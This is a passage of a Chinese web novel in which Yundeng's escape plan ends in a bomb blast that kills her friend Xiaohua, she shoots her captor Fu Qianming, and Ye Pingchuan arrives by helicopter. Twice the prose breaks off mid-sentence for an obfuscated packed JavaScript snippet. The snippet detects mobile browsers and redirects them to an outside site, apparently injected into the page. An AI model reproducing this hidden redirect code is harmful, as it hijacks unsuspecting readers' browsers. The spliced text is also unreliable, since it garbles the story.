“气你来这里吗?不会的,没有人能生你的气。”她积极地憧憬着,“那要不然,我就跟他说,你是来接我的。叫他把气撒在我身上好啦。” 云灯眼尾一弯,笑意转瞬即逝,“他气不了那么久的。” 她知道叶平川刚进组时是想摆摆态度的,毕竟是被断崖式离婚,换谁都接受不了,所以她也愿意配合,哄哄他。 可是没过多久,他就忘记难过的时候了。典型的好了伤疤忘了疼。 还问她能不能重新谈恋爱。说什么上回谈得不好,他要重新追。 她不明白叶平川为什么能做到不计前嫌。如果是她被谁提了分手,这辈子都不可能再回头。 大概是生来就活在幸福中的人,对伤害的容忍度也更高。因为有自信,无论跟谁在一起,他都能让自己继续幸福下去。 她就没有那种觉悟。 她不期待过什么幸福的生活,只想解脱。让一切都完成,让一切都结束。 骆迎春把躺椅拉到一起,躺在她身边继续追剧,边看边打起了哈欠。 雨很快就停了,空气又变回闷躁的灼热。她带人回去午睡。门口的安保和监控摄像里都看得很清楚,一整个下午,她们没出过房间。 黄昏降临时,云灯打开床头柜二层抽屉。不出所料,里面放着一把□□自动手/枪。 房间里的布置一比一复制,她的枪也按照从前的习惯,放在老地方。脑海中还残留着从前射击训练的技巧动作,但实际触摸时,手感格外生疏,她已掂不出弹匣的重量。 骆迎春仍在熟睡。她把枪藏在睡袍底下,走进唯一没有摄像头的更衣室里,卸下弹匣查看。里面没有装满,只剩三发子弹。 就要离开这里了,她还没有机会教小花用枪。但多少带上,总能多一重保障。 她用袜圈把枪绑定在大腿,换了条长裙遮住,回到床边叫醒骆迎春。 “……要走了吗?”骆迎春迷迷糊糊地坐起身,“我们要不要,收拾行李?” “不用。” 云灯叫她换好衣服,却没给她拿舞会上要穿的高定小礼裙,而是一身紧身背心,外套和长裤,简单利落。 她看了看云灯身上的长裙,不懂为什么两个人穿得不一样,但没有纠结。 云灯看起来依然很漂亮,只要公主是漂亮的就好了。她本来就不会,也不喜欢跳舞,只要坐在那儿看云灯跳舞就会很开心。 ……嗯?等一下。 她们不是要趁着大家都在宴会那边,一起悄悄地离开吗? 当她终于反应过来,已经被云灯带到了偏僻的海滩。岛上只有两个码头,这里显然不属于其中任何一个。 约定的时间刚好到达。运送物资的渔船从居民岛驶来,停靠在浅滩。有个男人从穿上下来,跟云灯说了几句话。 是带着土著口音的英语,她没听懂,但接着男人就去船上拿了绳子,把她绑起来。 由于是云灯的安排,她甚至没有挣扎。只是不解地望着云灯,“为什么要这样呢?是要假装我们被绑架了吗?” 她乖乖被绑住了手脚,又被男人扛在肩头,放进船舱,觉得自己下一秒或许还要被套上麻袋。 是要假扮成货物被运送出去吗?好主意,她看过的电视剧里也这么演。有点刺激。 她往旁边挪了挪,像只打挺的大鲤鱼,贴心地给云灯留出位置。 “这是给你的定金,是一半的钱。”云灯摘掉手腕上戴了许多年的足金手链,交给男人。 “找你帮忙的女孩应该已经告诉你了吧?不止把人运到岛上,你要把她送到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885630|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 港口,等国际货轮来,给她安排上船。然后再回来这里,找我要剩下的佣金。” 男人点了点头,把金子塞进口袋。 “还有这个。”她提起裙摆,抽出枪,“给你们带着防身用。” 男人吓了一跳,连忙摆手让她收回去,解释说带着枪反而容易坏事。 这边港口治安不严,混入货轮出国的偷渡客并不罕见。 时间有限,申雪舒给她找到这样的野路子也已经不容易了。云灯只好又把枪插了回去,简洁道,“好,那就走吧,请务必保证她的安全。一路顺风。” 最后一句话是用中文说的。骆迎春诧异地抬高脖子,发现船就这样发动了。 可是云灯还没有上船! “不要大喊大叫,听我说。”云灯最后才把她的手机丢进船舱里。 声音从耳边传来。她扭着脖子去看,屏幕上显示正在通话。 “我还不能离开这里。你先走,等过几天回到港市,我会想办法去见你。” 云灯把手机贴在耳边,后退几步在沙滩上坐了下来,大腿外侧的皮肤透过纤薄的裙摆微弱地闪烁,是她植入身体里定位器。像只会发光的跳蚤,蛰伏在她身体里。 “你没有身份证明,很多地方都去不了,但是户籍应该还在港市,要去办事处补领身份证,然后躲起来等我。” “不……为什么?”她慌张地弓起身,看着船尾推开长长的浪花,离海滩越来越远,“我不懂那些东西,我不明白!为什么我们不能一起走?” “安静地听我说,这些很重要。”云灯严厉地打断她,又把话重复了一遍,“如果身份证明拿到了,我还没去找你,就立刻离开港市。去内地,京市或者上海,不要去偏僻的城市,越繁华的地方越好找到角落藏身。记住了吗?” “记,记住了……可是……” “你很坚强。虽然需要一些时间适应,但我可以肯定,你一个人在外面也能活得很好。” 云灯叮嘱她,“二十四小时营业的快餐店和便利店里不买东西也可以过夜,找一份工作,从最简单的做起,哪怕只是去后厨洗碗,足够养活你自己。” “超市到晚上会有打折的食物,但是下了夜班要尽快回家,因为你租不到治安太好的小区房,租户人员混杂容易出事。你的身体很容易被盯上,公共场合里有人想摸你就打回去,旁边有女孩子一定会帮助你。不要被男人的花言巧语骗到,更不要给任何人你辛苦赚来的钱,等攒够了工资就换好点的房子住,要保护好自己,听到了吗?” 像是被逐渐加深的恐惧扼紧了喉咙,骆迎春发觉自己害怕得发不出声音。 不是说会在港市碰头吗?为什么云灯要对她交代这些话?就好像,好像她今后就只能一个人活着了一样? “你是骗我的对不对……” 她开始拼命地挣扎,手脚都被粗硬的绳结勒出血痕也不敢停下,满脸滚着泪,“你说要和我一起去动物园,一起去看电影的,都是骗我的吗?你不要我了吗?” “外面的世界很好玩,你应该亲自去体验,骆小花。” 渔船上的信号灯明灭如星。云灯深深地凝望着,声音却很轻,“我也爱你。” 56. 第 56 章 真正的潘云灯是什么样子? 或许只有骆迎春知道。她易倦易怒,自私,刻薄,尖锐,喜欢说难听话看人破防,还撒谎成性,从来没有好好兑现过自己的承诺。 离开港市时,她想的全是自己今后的发展,承诺“会回来接你”的语气都心不在焉,只是基于利用价值的甜言蜜语。 她想或许有一天,她会回去接自己的小狗离开的。当然,是在她人生目标充分实现,志得意满到已经可以转头干掉傅谦明的时候,顺手接走而已。 她从不觉得,一个当宠物看待的女孩,是必须存在于她生活里的。 只不过是寂寞时的消遣而已…… 吗? 寒风中迁徙的蝴蝶飞过灰暗的房间,剧组高悬的灯光彻夜不息,发布会上闪烁的镜头焦点只固定在她一个人身上。为什么在无数个人生晦暗和闪耀的时刻里,她脑海中想得最多的却是——万一她的小狗有了别的主人怎么办? 万一她还没有功成名就,小花就已经不再喜欢她,甚至忘了她,怎么办? 原来不只是小狗离不开主人。 更离不开的那一个是她。 再也没有人会像小花一样,无条件地陪在她身边,了解她恶劣难堪的阴暗面,却仍然愿意为她做任何事。是她一直躲在畸形的主仆关系里,既要索取,又故意忽视那片赤诚的心。 她想要的从来都不是小狗。 而是赤诚的爱。 再回想那天,骆迎春其实什么都知道。知道她会违背承诺不再回头,知道自己的人生会因此而陷进更深的泥沼,却还是笑着送她离开。 原来那女孩远比想象中更坚强,更聪明。更爱她。 而她才是那个,失去后才懂得珍惜的蠢货。 “你是,是为了我才回来的吗?” 被她一句略带生涩的“爱你”震住,骆迎春崩溃地大哭,“你怎么可以……怎么能为了我回来呢?” 她从小就是被交易的商品,早习惯了任人宰割的生活,也很清楚自己从来都不是什么值钱货。多年前她就想过,如果可以送云灯自由,那一定就是她人生中做过最有意义的一件事。 云灯走后,傅谦明没有杀她,说还可以给她第二次机会,只要她奉献出身体,创造价值,就可以继续活下去。 她想活下去。因为没有反抗的脑子和力气,所以只有服从,才能活得轻松些,这就是她生存于世的手段。 可其他人和云灯是不一样的。为了活着,她能舍弃自尊趴在地上,服从所有人,却不会像爱云灯一样爱他们。 云灯是她心里的公主,要被高高地捧起来。她永远也不后悔送云灯离开,只是有些难以忍受思念的煎熬。 她喜欢幻想自己是云灯身体的一部分。她是云灯的发丝,肩头的小痣,或是手腕上淡得几乎看不清的伤痕。这样她就能永远跟云灯在一起,在那个自由的,广阔的世界里活下去。 云灯应该永远留在那个自由的,广阔的世界里。怎么可以为了她回来呢? 这次傅谦明一定一定不会再饶恕她们。万一他们也对云灯做那些发生在她身上的事情怎么办? 她可以自己忍受苦难,却无法接受它们发生在云灯身上。 “有什么不可以的。”云灯的语气是从未有过的轻松,平静地告诉她,“你很珍贵。即使这个世界上再也没有人珍视你,你也要知道这一点。就算不相信自己,总可以相信我吧?不划算的买卖我可从来都不会做。” “不过,我没有给你留什么财产。你没有能力拿到,反而容易暴露行踪。我也没有安排别的朋友帮助你,因为不想把他们牵扯进来。所以出去以后,你只能靠自己了。” 越是周密的计划就需要做越多的准备,过程中就越可能被傅谦明发现。 和所有人想的都不同,她没有什么聪明的谋略,也没有留任何后手,单纯就这样独自回来,再伺机行事。 这已经是她深思熟虑之后,最有胜算的一条路。傅谦明抓不到把柄,看不透她的心思,反而不会立刻对她做什么。 否则在下飞机的那一秒,她就已经被关了起来。 风险越大,胜算才越大。 她十七岁就跟在傅谦明身边,言传身教,对彼此的行事风格太过熟悉。 港市是他发家的地方,处处遍布他的眼线,上次她们玩儿偷梁换柱那套是奇迹,不可能再成功一次。一旦回到港市,就真的是被困入了绝境。 只有在这里,尚有一线生机。 她并非真心回来,时间越久,傅谦明就越能确认这点。每过一秒风险都在持续增加,只有越快动手,她才越有可能把骆迎春送走。 “靠自己吧,小花。按照你自己的意愿,去过真正想要的生活。虽然会很累,会遇到困难,但不久之后你一定能明白,那样的生活比当宠物要快乐得多。” 她不是个唠叨的人,能说出这么多连自己都有些意外。然后才意识到,这是从心底里流露出的不舍。 是她人生中第一次坦率承认的牵挂。 留在原地的人总是可以忍住更多眼泪。 总有一天小花会长大,会明白,此刻的割舍是为了获得更好的生活。 云灯笑了笑,说,“如果有一天,你遇到了我的朋友,偶然提起我,就替我和他们说声抱歉。” “不要,我不要这样……不要!”骆迎春大喊着,猛地挣脱了绳索。 她从没想过,自己人生中居然还会有这样强烈地拒绝云灯的时候,捡起手机哭得上气不接下气,乱喊一气,“我不行的,一个人不行……我记不住,我活不下去!公主,云灯,潘,潘云灯,姐,姐姐……姐姐!求求你!” 海风呼啸着卷起她的哭声,顷刻间吹散。云灯却无比清晰地听到了,她一遍遍地在说—— 不要离开我。 她直觉今晚的分离会成为永别,说什么都不想跟云灯分开,却无法想出能够让云灯转念的理由,绝望中只能重复苍白的恳求,“求求你了,求求你好不好?我们一起走!求求你!” 她像疯了一样往外挣,船夫不得不大力地拉扯她。动作激烈起来,手机里收音混乱,云灯听不清状况,皱起了眉,才刚要起身,就看见远处海面上激起一朵水花。 她跳下了船! “求求你……”她夹着手机往回游,通话中漫灌着海水的拍打声和剧烈紊乱的呼吸,“我一定要和你一起走!我们去,去找叶平川,让他帮我们……” “你是不是不想活了!”云灯猛地站起身,眼前一黑,摇晃着往前栽倒,仍死死地抓着手机,只能用另一只手狼狈地撑住沙滩。 她知道骆迎春生长在临海地区,水性很好。可潮汐正在褪去,海水湍急,一个猛浪就能把人打得看不见头。 幸而船夫及时丢下了泳圈和救生衣。骆迎春努力地扒上去,海水涌到嘴边,一边哭一边说,“我想,想活的,可是要我们一起……你不是说,叶平川是个好人吗?我们先不要独立了,去找他好吗?他喜欢你,一定会帮忙的。我们去求求他好不好?” “别说那些没用的话,抓住船舷上的绳索,快上去!” “不要!” 她强硬地大声说,“公主,你为什么总是不肯接受别人的帮助呢?如果你不愿意低头,我去求他就好了!我可以跪下来求他!” 云灯深呼吸,按耐住骂人的冲动,对她说,“好,你先回到船上去。离开这里,去叫叶平川来救我。” “不行!你必须跟我一起离开!” “……” “你不想连累他是不是?好,那我们就不去找他。”骆迎春的声音忽然变得冷静,像是下定了决心。 “你不走,我也不走。无论是这里还是哪里,我都要和你在一起,就算活不下去我们也还可以一起死。怎样都好。” 她用哭到沙哑的嗓音说,“别丢下我……公主,我只有你了。” 云灯想,这句话应该是她说的才对。 在无数个失眠的夜里,她抱着小花入睡时,心里分明就是这样想的。 我只有你了。 “就这一次!我发誓。”她切切哀求,“以后,以后我什么都听你的,以后我们还有很多事情要做!求求你,我们说好的!以后还要……” 多熟悉的以后。 云灯恍惚了一瞬,脑海中想到她说的那种可能性。 和叶平川曾经说过的,是同一种吗? 不久前她还以为小花已经死了,就连亲口和叶平川提起时,都没想象过两人见面的场景。 叶平川现在会在干什么呢?或许很郁闷,但他还有关系密切的家人和要好的朋友,会陪伴他身边,温馨融洽地度过这个新年。如果她们忽然出现,对他而言只会是一场灾难。 只有她们两个,是除了彼此之外一无所有。 她知道两人一起离开风险会成倍增加,傅谦明或许看不上小花的价值,但绝不会对她罢手。可千分之一秒的幻想中,还是有理想压倒理智的须臾。 万一……万一真的能一起逃出去呢? 她可以不做明星,隐姓埋名,带着骆迎春去找个偏远的小县城生活。两个人一起去街上找些打杂的工作,慢慢攒下积蓄,再做自己的小生意。 一开始总是很难的。冬天她们会在出租屋里冻得瑟瑟发抖,夏天又热得睡不着觉,半夜说不定还有喝醉的流氓来砸门恐吓。 可再艰难的时刻,她身边都会有不离不弃的小花,就算怕得发抖,也会牢牢地拽着她不放手。 是的,她甘心死在任何一个那样的时刻里。都好过留在野兽身边,与虎谋皮。 “……我跟你走。”云灯的声音也开始颤抖。 “但是你先游回船上好吗?把手机给他,我让他把船开回来接我。” 骆迎春激动得大叫,即使不通过手机,劈叉的嗓音也从海面上滚滚而来:“好嗷!!” 心跳陡然剧烈,肾上腺激素在狂飙,云灯蹲下来摸索海滩上的石子和碎贝壳。但沙子很细腻,她摸不到任何有用的锐利的东西。 时间紧迫,她回头看了一眼灯光明亮的区域,不能再返回去找工具。于是往前跑,趟进海水里,摇摇晃晃地冲向礁石,摸索着附着在上面的藤壶和贻贝,用力抠下一片。 她靠在湿滑的石头上,深呼吸,撩起裙摆露出大腿。 贝壳碎片深深地割开皮肤,鲜血顺流而下没入海面。微型定位器暴露眼前,被她忍着痛抠出来,扔到沙滩上。 定位器脱离身体,急促地闪着红光。她些微松了口气,还没来得及去关心腿上的伤,便又本能地感到不对劲。 沙滩上那一点红光闪烁的频率越来越快,就像是倒计时。尖锐的警报声贯穿脑海,她没时间远离,当机立断地翻过礁石当作掩体,猫下腰躲避。 红光闪烁停止的瞬间,爆炸声轰然炸响! 海面在摇晃,热浪裹着冲击波把她往岸上推。 她似乎没有受伤,可是……方向不对! 云灯骤然意识到什么,几乎不敢抬头去看,可身体先于意识行动,远处冲天的火光撞进了她的眼睛。 小小的渔船扛不住冲击,顷刻间便已被烧沉,只剩残躯漂浮在海面上。 通话早已中断。 ** 定位器发挥完作用,静静地隐没在沙滩上。 云灯一动不动地望着远处,火光燃烧在她的眼睛里,逐渐熄灭。 原来如此。 炸弹在船上。如果她上了船,离开岛屿超出定位范围,炸弹就会被引爆。 即便她没上船,只要定位器脱离她的身体,炸弹也会被引爆。 傅谦明早就替她决定了。只要有叛离的念头,就无论如何都会死。 可是,好奇怪啊。她望着自己粘满血的双手,有些不明白。 为什么她还活着呢? 她木然站在原地,努力地思考这个问题,想了很久,“……啊。” 死的是骆小花。 骆小花又死了一次。 这一次,是她亲手杀的。 “哦,亲爱的。”有身影自远及近向她走来,摇头慨叹,“真是太遗憾了。” 云灯神情恍惚地望着他,眨眼间泪珠簌簌而下。 傅谦明怜爱地抚上她的脸颊,语气颇为无奈,“何必要自己做这种傻事呢?你知道我有多爱你。不过是想让她走而已,只要你向我开口,我会同意的。” “别再惺惺作态了。”云灯打开他的手,激动地提高声音,“我连处理自己身边的人的自由都没有吗?你还把我当成那个十几岁的小女孩!” “亲爱的,你并不需要自由。这个世界上也根本没有真正的自由。” 傅谦明叹气,“看,你还是控制不好自己的情绪。我想你今后不适合再养宠物了。” “她不是宠物,她是我的朋友!” “天呐……你在外面的几年都经历了什么?是谁把你教坏了?”傅谦明不悦道。“她因你而生,为你而死,都是理所应当的事。有什么值得你这样哭泣呢?” 他看着云灯被愤怒侵蚀的脸,头疼地说,“看来你还需要一些时间适应回家之后的生活。接下来的活动,我会尽量都带着你的。等你看到更有价值的对象,就不会再因为失去一只宠物而这样痛心了。” “有什么区别吗?你永远都不会允许我拥有真正在意的人,无论朋友还是别的。” 云灯红着眼睛,决绝地看着他,“你以为只要让我身边空无一人,我就会像从前一样,别无选择地紧紧依附着你?别做梦了!” “我宁愿爱一只宠物也不会爱你。像你这样的人,注定得不到任何人的爱!” 她故意激怒在他。傅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915765|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谦明眸色加深,一只手掐住她的下巴,“难道不是你先找上我的吗?” “是你先说爱我,想和我在一起。亲爱的,难道你都忘了吗?” “那都是谎言。”云灯流着泪说,“现在我恨你!是你把我带到这滩浑水里,让我染上污点……叶平川知道了,要跟我离婚,都是因为你!我恨不得你去死!” 她终于无法继续掩藏,用怨毒的口吻倾诉出自己落魄的伤痛。不知何时,手中的□□枪口已经抵住他的胸膛。 傅谦明反而笑了,握着枪管轻轻摩挲,“我知道你不忍心对我开/枪,宝贝。否则今后的日子,谁来照顾你呢?” 越是虚张声势,越是无疾而终。雷声大雨点就小,他深谙这一道理。 尽管他有些失望。比起离开他的那年,云灯明显退步了,这才上岛第二天,就耐不住性子暴露出底牌。连带着让他对她继承者的资格都产生了质疑。 可他先前毕竟耐心地培养了许多年,才得以如此清楚她的底细,知道她的长处和弱点。这样有潜力又好掌控的人,他身边再也没有第二个。 “放松,不要激动。”傅谦明温柔道,“你已经回家了,这里没有人会伤害你。现在,把枪交给我,我们去休息一下好吗?” 云灯手中的枪口垂了下去,却摇着头往后退。看起来犹豫不定,心态动摇得厉害。 “海边风太大了,难道你不想好好地坐下来喝一杯,放松身体吗?”他低声诱哄,“为什么要离我这么远呢?难道我们要因为一些没有价值的人产生嫌隙,宝贝,不想再和我亲近了吗?” 云灯含着泪,楚楚可怜地说,“是不想让你的血溅在我身上。” 话音未落,枪声已响。 “砰!” 子弹射出的瞬间,她的一切神态都消失得无影无踪,像水滴融汇于大海。她面无表情地看着傅谦明倒地,“是不是上了年纪的人话都这么多啊。” 她没有兴趣扯来扯去什么爱不爱的,只是需要拔/枪和上膛的时间和空间。 傅谦明身上也带着配枪,可他自大到甚至没有解开枪套。情形出乎意料又急转直下,他腹部中弹,踉跄着朝后仰翻,狼狈地腾出手去摸枪,却被云灯一脚踩住。 第二枪毫不迟疑地射穿了他的胸膛。 要杀傅谦明是件很容易的事情。云灯想。只要她放弃自己的以后。 她早就该这么做。 血液飞速流失,傅谦明的眼睛一点点失去神采。濒死之际,却露出令人悚然的微笑。 “你现在……这,样子,不就正,是,跟我,一模一样?” 她果然还是那个云灯。 说出的话像一记回旋镖,将彼此一同击穿。 像你这样的人,注定不会得到爱。即便得到了,也留不住爱人。 她就是他。 他留下最后一句诅咒,闭上了眼睛。 云灯定定地盯着他,直到他再也没有任何声息。 弹匣里还剩一发子弹。 她又在沙滩上坐了下来。看得到远处海面上漂浮的碎墟,也看得到近处几米外的尸体,心里却空空荡荡,没有什么情绪。 她也没再考虑这之后该怎么办,没有必要。最晚几分钟后她就会被抓起来,落到谁手里都没有好下场。 如此的绝境里,她却出离平静,脑海中奇异地想起了十几年前的一个冬夜。 那时她还在上中学,年纪太小找不到能做的兼职,半夜又冷又饿地走在街上,路过一间地标网红店,看到成群的粉丝围在店门口,还有拍摄的机器,堵成一团。 从店里走出来的女人戴着墨镜和口罩,甚至都看不见正脸。人群却像疯了一样,潮水般涌向她,众星捧月地跟着她走到保姆车边。哪怕车门关上,车子启动,也要跟着跑出很远。 她也想成为明星。她也想要沐浴在无条件的爱里,被人狂热地追随崇拜。 她的第一个粉丝是骆迎春。 像是人生的走马灯时刻,无数画面从她眼前闪过,有的耀眼夺目,有的晦涩不堪,最后全都终结于一声轰鸣,彻底崩碎。 “好累……”双脚沉重的像是已经长进了地里,再也没有站起来的力气。她长长地叹了一声,手中枪口调转方向,抵住了自己的下巴。 扣动扳机的前一秒,她的耳鸣声强烈到令人眩晕,不由得有些分神。无厘头地想到,自己这下也不知道会去天堂还是地狱。真要投胎的话,估计跟小花走不了一条道。 地狱…… 通常是会派直升机来接人的吗? 她回过神,才发觉自己并不是耳鸣。螺旋桨卷起的气流从天而降,数架直升机正在包围岛屿,巨大的噪音轰隆隆吵得她快要失聪了。 就在这令人抓狂的噪音中,一道带着狂怒和惊惧的暴喝,炸雷般劈了下来,“潘云灯!” “……” 云灯怀疑是自己失血过多,濒死出现了幻听,抬头望去,头顶的信号灯光又刺得人睁不开眼。只能模糊看见,直升机下方的悬梯攀着一个人的影子。 他等不到飞得更近更低,直接从悬梯上跳了下来,十几米的高度落在沙滩上几乎要砸出一个坑。他调整落地姿势,借着翻滚卸力,连滚带爬,灰头土脸地冲过来,一个猛扑把她撞翻。 整套动作连贯又气势汹汹,她躲闪不及。枪脱手掉落,被他一脚踢开好几米远。 “你要干什么啊?!”叶平川死死地抱着她的脑袋,崩溃地摸了又摸,确认没有在她的下巴额头喉咙以及其他任何地方发现弹孔,心脏才恢复跳动。 “叶……” “你身上怎么这么多血啊?谁的血?!” 压根没有开口说话的机会。叶平川像拎小鸡一样一把抓住她拎了起来,发现她大腿上长长的伤口,顿时更崩溃,“是你自己的血?!” “……” 云灯试图消化他从天而降的事实。但此情此境,她还是觉得,用“临死前回光返照的幻象”来解释更加合理。 隔着山,隔着海,隔着上万公里,叶平川怎么可能找到这种地方来? “谁在那边装死!”幸好飞机上带了医疗队。叶平川大手一挥把她按进怀里,警觉地发现不远处的尸体,大脑飞速转动。 海面上的船只也在迅速靠近,国际刑警即将抵达。他一只手抱住像是被吓坏了还在发呆的老婆,以最快的速度观察现场,然后快步走去捡起她用过的枪,检查弹匣,发现了最后一枚子弹。 “别怕。”他声音压得很低,握住云灯的手覆盖到枪上,瞄准后开了一枪。 重叠的指纹彻底将两人绑定,合而为一。 云灯紧贴着他胸口,听到沸腾不息的心跳。仿佛在翻译不久前听过的,她认为没有意义,也不该当真的那句话。 有一天,你会知道的。 我比想象中更加爱你。